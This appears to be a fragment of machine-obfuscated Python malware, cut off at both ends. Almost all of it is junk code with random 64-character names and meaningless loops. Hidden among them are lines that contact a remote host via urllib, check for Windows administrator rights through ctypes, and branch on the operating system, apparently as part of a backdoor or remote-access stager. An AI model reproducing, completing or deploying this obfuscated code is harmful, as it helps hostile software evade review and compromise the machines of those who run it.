FgfSBHZgkPyNUTAyAFpwKRQCOpUugUZXGPgUlDoWvpBAcoJyCMjhYAJMHOEACKlS: for GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb in iEDuhNepAyFJBQMYGNTKHsMOcGWcILOpmXtocUerygdYNKjUaDXKNcTtCfkBiuMp: if BBfOFeNsAxlqpnEAQUonJYtWPToTMwAoCDUdPNjNMeTKjlZLyjKzlmJAzMHciMuM == MbVxqdKRTwnyUFHfcwlpIDOhOygyUdLuIKYZXAjXVrErHpYJqcFMqhdUMQElYbgK: GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb = xDnCnKrbaENPaigQbXbAsAZQgHymVhwrqvoSrQrVAfNtQzyGLEpIldXOzolzKYYY elif MbVxqdKRTwnyUFHfcwlpIDOhOygyUdLuIKYZXAjXVrErHpYJqcFMqhdUMQElYbgK == GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb: GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb = FgfSBHZgkPyNUTAyAFpwKRQCOpUugUZXGPgUlDoWvpBAcoJyCMjhYAJMHOEACKlS else: MbVxqdKRTwnyUFHfcwlpIDOhOygyUdLuIKYZXAjXVrErHpYJqcFMqhdUMQElYbgK = FgfSBHZgkPyNUTAyAFpwKRQCOpUugUZXGPgUlDoWvpBAcoJyCMjhYAJMHOEACKlS for GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb in TvdMkEYrnAtmHkfWhKVPIaHTxCTPPiWhJzzgAqUwsGsdLcVtJpxwIIkpCnYWkocq: iEDuhNepAyFJBQMYGNTKHsMOcGWcILOpmXtocUerygdYNKjUaDXKNcTtCfkBiuMp = GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi = urllib.urlopen( 'http://' + bDVfKcGTNKDDgGMMCmHdLopeaFuvewAnGankZNCojDNPJHCBDTTJiulhiTJNHtps ).read().rstrip() except IOError: yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = 'JnXXAzClqIXtWDqLarCUwdbCnHuNDoAJIpklljTllKaOhprPJWHmgjrJSCdqWdbP' KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk = 'BEOWpCNELZQQrHqqLgGzoGHcLAZtpWyXWZsTDggzGpVgYgRjCUzybKrLiWddYBXp' qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV = 'QDoDHepQySHdMHgdSZLLqExsWVoBmGDPTVZRjZblxXvxGIaWiViZRLQaAyuRBgac' ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep = 'tivKItIrqkRXKlNyNNthNyxFlUSFVkPYPyNxEmJTPbNGyJBhOLeZIvJzayyMVdxp' if KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk == yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK: for yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK in KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk: if KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk == KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk: qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV = 'ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep' elif qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV == ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep: ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep = yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK else: yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk elif qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV == qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV: for qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV in KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk: if ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep == KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk: qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV = 'ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep' elif qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV == ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep: ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep = yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK else: yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk for qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV in KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk: if ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep == KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk: qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV = 'ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep' elif qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV == ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep: ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep = yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK else: yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep else: yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk pass wYCRkNnPLoVHIrANsHtYHiSsxioDExsXYaSBITGSYoBmoCqCnthtNpGfTWzvnNav = 'ClTxgnzDjAUMZEjLJxhmCINbmskwRMzscHEaDHGcBKKHlvYXikoQzEfAGsDbKHJr' if cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi and ( 6 < len(cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi ) < 16): OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = 'QyaenbQjAHwcdXwPOqpUfXywVzIBRVsoSnorkJrQHmcpWBGRyXnOnOvVJjjhDira' hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu = 'qtbTReKoLowNeZdwlSSFreSQYLgsABTFLZzHfuPRLCcXxCahKyEnjvlhGIDgvgQD' rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf = 'qWfgTFkieMjmYvNqgxNXCUVELKDfJuqjXZwZLvpKbQgzkkeLNLQNwSjVUKXAFyFv' YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI = 'SnXLSJWMawMuBqPOnRkfbCBZeUpplBxZGBSNgOYRgqVWkVDZUKZdKeUFvKaOpFCc' if hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu == OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk: for OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk in hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu: if hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu == hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu: rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf = 'YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI' elif rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf == YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI: YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI = OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk else: OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu elif rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf == rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf: for rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf in hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu: if YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI == hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu: rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf = 'YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI' elif rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf == YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI: YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI = OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk else: OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu for rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf in hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu: if YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI == hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu: rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf = 'YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI' elif rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf == YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI: YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI = OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk else: OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI else: OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu break maBSUEgVOwPLtnTSwhjfKQXtXMyLWmjugPUcRZEWXUotorRipTWDRyiEptxPfUlk = 'nSlwNfwkiMkopnAGrREQhXHNAThDKtbpEbsUZUjVTpLXsJeTahUDrcwjDQLQtqLp' pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG = 'CEQsnpXwUaUFhdDYRHkKiLXTJsAlnRAaZRtJNFBTQNMvgNJOgeiESacMUkhsqxAD' MXretygRgbYRWbfabIpmaZlvgtEScJdUUboOFSyWhEuwTFrGdxiqNSblyziKqqKa = 'PqYBzoCCOqgqhrXiOYTwYlSmrzcWSeUrEsHYZvLLeKLXRGCjdNEangjiuIQcWANg' XqbIEjPItfPPBAOTKMBGJxtlErjCWMhQmSEpaWXoQloHgASubjwQRLLDisQIbJVs = 'WqEYcdxLjlBISFmaXORwTONTiGKWXAiILeYTQkgIczXSHgiqfhuDwAahnFBvrklf' yrdnosLxxBPokGbfowTqUOcUElyuNyXUiRBDmoVOdxJDOFhXjeBgvQBPubjxohdF = 'uXwcpAihNMFWxbnAnQJSzjzAAvAktFuGlhAaBEXSbMDkYzWtpYWLZhIqhJRwljGH' HMtKHDcfeTdpgsVOPZCZhUceLmROqMOiNTibKymyCBzFrvGnXUoBqCoqvagIWHdQ = 'hxdZMHRhHYLxqlUtaFEpwZsohsXPRMeOgNnUWBqyOotYiBfDsDKOWSZahximWifG' AWKcrZkRqzcCPegqwkXVCzBVHgpccJaIKiPUovLYpGEikNvTixMuShLAZPVIECRc = [ 'nSlwNfwkiMkopnAGrREQhXHNAThDKtbpEbsUZUjVTpLXsJeTahUDrcwjDQLQtqLp', 'PqYBzoCCOqgqhrXiOYTwYlSmrzcWSeUrEsHYZvLLeKLXRGCjdNEangjiuIQcWANg', 'uXwcpAihNMFWxbnAnQJSzjzAAvAktFuGlhAaBEXSbMDkYzWtpYWLZhIqhJRwljGH', 'cEsJolKvWEIIshLqbjjAOvWSTKOFRrfkRPyHkaqrUofrdehAWdiCWWhfMQmtFTwR' ] for maBSUEgVOwPLtnTSwhjfKQXtXMyLWmjugPUcRZEWXUotorRipTWDRyiEptxPfUlk in HMtKHDcfeTdpgsVOPZCZhUceLmROqMOiNTibKymyCBzFrvGnXUoBqCoqvagIWHdQ: for pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG in MXretygRgbYRWbfabIpmaZlvgtEScJdUUboOFSyWhEuwTFrGdxiqNSblyziKqqKa: if XqbIEjPItfPPBAOTKMBGJxtlErjCWMhQmSEpaWXoQloHgASubjwQRLLDisQIbJVs == yrdnosLxxBPokGbfowTqUOcUElyuNyXUiRBDmoVOdxJDOFhXjeBgvQBPubjxohdF: pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG = maBSUEgVOwPLtnTSwhjfKQXtXMyLWmjugPUcRZEWXUotorRipTWDRyiEptxPfUlk elif yrdnosLxxBPokGbfowTqUOcUElyuNyXUiRBDmoVOdxJDOFhXjeBgvQBPubjxohdF == pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG: pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG = HMtKHDcfeTdpgsVOPZCZhUceLmROqMOiNTibKymyCBzFrvGnXUoBqCoqvagIWHdQ else: yrdnosLxxBPokGbfowTqUOcUElyuNyXUiRBDmoVOdxJDOFhXjeBgvQBPubjxohdF = HMtKHDcfeTdpgsVOPZCZhUceLmROqMOiNTibKymyCBzFrvGnXUoBqCoqvagIWHdQ for pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG in AWKcrZkRqzcCPegqwkXVCzBVHgpccJaIKiPUovLYpGEikNvTixMuShLAZPVIECRc: MXretygRgbYRWbfabIpmaZlvgtEScJdUUboOFSyWhEuwTFrGdxiqNSblyziKqqKa = pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG YREuNaWVULVoCcGIiIedlhBzozSbUIQDiKIsnOldqSlNozSOjBIkZJochVBMKiAH = False fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud = 'PlXYzEWQUqnliyflAgQQOBsaMtBOOnzFsYxucvrNaAbljPqaTjThLBMtltZUnStl' bWlFQdvjfmRNrflpxZIMbBzPWQBFYniEjxwhMxEFYTbFvUZwImCuzMfOyNpvWplS = 'ydMaoTjzZwQoyftWCyZdkkAJugOeVnyKFSKayifbZuqIDRbLRSUDKYMExsNdOMpz' if fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud != bWlFQdvjfmRNrflpxZIMbBzPWQBFYniEjxwhMxEFYTbFvUZwImCuzMfOyNpvWplS: fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud = 'ydMaoTjzZwQoyftWCyZdkkAJugOeVnyKFSKayifbZuqIDRbLRSUDKYMExsNdOMpz' bWlFQdvjfmRNrflpxZIMbBzPWQBFYniEjxwhMxEFYTbFvUZwImCuzMfOyNpvWplS = fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud = 'PlXYzEWQUqnliyflAgQQOBsaMtBOOnzFsYxucvrNaAbljPqaTjThLBMtltZUnStl' if plat_type.startswith('win'): TlZacMIOQWBHRnqVVsEiICPmofJPGQaHTcdCMuhPKbSTfpMQNPOogHiiDsrGFQnr = 'CAoGLowJSuNRwrdVJHfSHbRJMJIPzInhXIWmvexMvNRRIQbSnjiTIkEZbNPPxUGn' YroqUhSDLxCvtsPggWwGJMpUcbPisetDuMpuDQHcHGohnHQnUkSvFcxkfNYnguse = 'LKtnCcQMDGZppAStuiNfVOeexJqwpFxWWvUxLFacInbbFtwQoreyHKxUReuobJSt' KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = 'tyMsCBRyniwFhcTRUdvdOgnlpenGauKwyyelPyvTLINrpHkabzmSqFiweRMvGUvT' if TlZacMIOQWBHRnqVVsEiICPmofJPGQaHTcdCMuhPKbSTfpMQNPOogHiiDsrGFQnr == YroqUhSDLxCvtsPggWwGJMpUcbPisetDuMpuDQHcHGohnHQnUkSvFcxkfNYnguse: KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = 'tyMsCBRyniwFhcTRUdvdOgnlpenGauKwyyelPyvTLINrpHkabzmSqFiweRMvGUvT' KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = TlZacMIOQWBHRnqVVsEiICPmofJPGQaHTcdCMuhPKbSTfpMQNPOogHiiDsrGFQnr else: KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = 'tyMsCBRyniwFhcTRUdvdOgnlpenGauKwyyelPyvTLINrpHkabzmSqFiweRMvGUvT' KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = 'CAoGLowJSuNRwrdVJHfSHbRJMJIPzInhXIWmvexMvNRRIQbSnjiTIkEZbNPPxUGn' YREuNaWVULVoCcGIiIedlhBzozSbUIQDiKIsnOldqSlNozSOjBIkZJochVBMKiAH = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY = 'QeYCeAUsQqKuXYyIVZuMYQEHtAMBgDLGYsrBvfAfMaqDrvJxtStfgigdXryVhoKX' QldeeZtxGjggLDIeRrGjXIYiwSmEWWbayLPTWfUYpyaSYTIEHuGBCvOWWExuOEYb = 'rylOcpRRQoqwTHqBzlasvYjcjtSBsVMhgQOYPZWuMotZbGRMhAURytiYYZRfvIvL' WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh = 'xHYvwtUypVzqbGuZvdlLQBeRlYkMjshogYRxHzdGVwaiZugXmIDmehmuerEbAHrv' TsTAPtnbHbkXWjCkgmMcKflIsZLSVvrsKqMqvZcWAMxkslzjASigrKHtmMejOMrA = 'YVJyQTyRRmwymToRKWjqYqoXGvqdlLnkQzPNgAhyaAQZRFvOcDwakaYbLbNokRXk' JhQWzQLJGsOiKciqqsqdwHsfuhoZGKADSujGChMJSTOWdmWUhRPcxGATNSTJsJMH = 'TSVngKejPWgpGiaLxwMgPTtkHKqPfhyvACaYIAwVoOXSIGGBVIzDZwYmEPENblFb' nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi = 'GvtyoAnNQaTyqeCdKrccppXSbhOlYTyUDaJVjVJZrbhMqJKDysziAGmEqAiXvuJh' if lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY != TsTAPtnbHbkXWjCkgmMcKflIsZLSVvrsKqMqvZcWAMxkslzjASigrKHtmMejOMrA: QldeeZtxGjggLDIeRrGjXIYiwSmEWWbayLPTWfUYpyaSYTIEHuGBCvOWWExuOEYb = WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh for nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi in TsTAPtnbHbkXWjCkgmMcKflIsZLSVvrsKqMqvZcWAMxkslzjASigrKHtmMejOMrA: if nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi != WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh: QldeeZtxGjggLDIeRrGjXIYiwSmEWWbayLPTWfUYpyaSYTIEHuGBCvOWWExuOEYb = QldeeZtxGjggLDIeRrGjXIYiwSmEWWbayLPTWfUYpyaSYTIEHuGBCvOWWExuOEYb else: JhQWzQLJGsOiKciqqsqdwHsfuhoZGKADSujGChMJSTOWdmWUhRPcxGATNSTJsJMH = lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY else: WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh = lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY = JhQWzQLJGsOiKciqqsqdwHsfuhoZGKADSujGChMJSTOWdmWUhRPcxGATNSTJsJMH if WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh == lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY: for nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi in lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY: if nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi == WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh: WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh = lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY else: WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh = JhQWzQLJGsOiKciqqsqdwHsfuhoZGKADSujGChMJSTOWdmWUhRPcxGATNSTJsJMH elif plat_type.startswith('linux') or platform.startswith('darwin'): qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = 'FNPxPMEWOLFNamPGxYpotVOOFHeGMfykSXbmKlwmwgkFWbuiLurNMBhrHspFOiyt' gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz = 'tzNGAZETUmxjYBgGdZIUpEopeevoJTXctTZNXPqcRtezJquefwyghjdvtUMEGxeH' YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb = 'DSJzYWKaXqwXUhYqgQmXUwZAtQwrIBFLksxUGgOeIoZofWWghLEHoSQuSQwZxVwD' TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL = 'utcpDTvHjtxkkHiHTMoZRwIYMuStlqdYknqAlACXedzRbgWGUcwVAHbCTVkXjSdP' if gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz == qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl: for qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl in gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz: if gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz == gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz: YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb = 'TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL' elif YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb == TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL: TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL = 